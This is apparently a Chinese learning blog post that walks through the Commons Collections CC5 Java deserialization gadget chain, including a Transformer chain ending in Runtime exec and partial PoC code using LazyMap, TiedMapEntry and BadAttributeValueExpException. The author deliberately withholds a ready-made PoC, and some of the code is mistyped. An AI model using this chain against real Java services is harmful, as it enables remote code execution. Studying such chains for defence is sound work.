Java反序列化CC5链子学习

前言:

Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。

前几天分析学习了一下CC1链子,今天在pte课余的时候学习了一下CC5链子,发现前半部分基本上和CC1基本链子都基本一致

这里先放一下前面的一段链子:

Transformer[] transformers = new Transformer[]{

                new ConstantTransformer(Runtime.class),

                new InvokerTransformer("getMethod",new Class[]{

                             String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),

                new InvokerTransformer("invoke",new Class[]{

                            Object.class,Object[].class,new Object[]{null,new Object[0]}),

               new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})

                };

  Transformer transformedChain = new ChainedTransformer(transformers);

前半段的实现逻辑就是主要靠ChainedTransformer的transformer方法完成链子的实现:

public Object transform(Object object) {     

 for (int i = 0; i < iTransformers.length; i++) {          object = iTransformers[i].transform(object);      

}      

return object;  

}

下半段的实现逻辑,靠调动TiedMapEntry的getValue(),getValue()又调用了get()方法:

public Object getValue() 

{        

return map.get(key);    

}

而这里的get方法会去调用this,factory的transform方法,靠这里跟上半段完成了衔接,调用了ChainedTransformer,而getValue()方法会由TiedMapEntry的toString方法调用,接下来就是寻找readObject方法了,这里使用的是BadAttributeValueExpException的readObject方法。

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {

        ObjectInputStream.GetField gf = ois.readFields();

        Object valObj = gf.get("val", null);



        if (valObj == null) {

            val = null;

        } else if (valObj instanceof String) {

            val= valObj;

        } else if (System.getSecurityManager() == null

                || valObj instanceof Long

                || valObj instanceof Integer

                || valObj instanceof Float

                || valObj instanceof Double

                || valObj instanceof Byte

                || valObj instanceof Short

                || valObj instanceof Boolean) {

            val = valObj.toString();

        } else { // the serialized object is from a version without JDK-8019292 fix

            val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();

        }

    }

接下来放下半段的poc了,分开放的目的是因为这篇文章主要是为了学习,所以不提供现成的poc了。

Map innerMap = new HashMap();

Map outerMap = LazyMap.decorate(innerMap, transformedChain);

TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"chd");



BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);



Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");

val.setAccessible(true);

val.set(poc,badAttributeValueExpException);

希望各位师傅多多指点

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值